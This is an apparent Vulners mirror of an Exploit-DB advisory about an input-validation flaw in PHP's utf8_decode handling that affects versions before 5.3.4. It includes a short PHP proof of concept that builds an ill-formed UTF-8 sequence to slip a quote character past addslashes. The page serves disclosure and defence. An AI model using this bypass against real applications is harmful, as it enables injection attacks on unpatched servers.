Lucene search

K

PHP 5.3.2 - 'xml_utf8_decode()' UTF-8 Input Validation

🗓️ 11 May 2009 00:00:00Reported by [email protected]Type 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 73 Views

PHP 5.3.2 'xml_utf8_decode()' Vulnerabilit

Show more
Code
source: https://www.securityfocus.com/bid/44605/info

PHP is prone to a vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue can allow attackers to provide unexpected input and possibly bypass input-validation protection mechanisms. This can aid in further attacks that may utilize crafted user-supplied input.

Versions prior to PHP 5.3.4 are vulnerable.

<?php
$ill=chr(0xf0).chr(0xc0).chr(0xc0).chr(0xa7);
$ill=addslashes($ill);
echo utf8_decode("$ill");
echo htmlspecialchars ($ill,ENT_QUOTES,"utf-8" );
?>

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
11 May 2009 00:00Current
7.4High risk
Vulners AI Score7.4
EPSS0.01225
73
.json
Report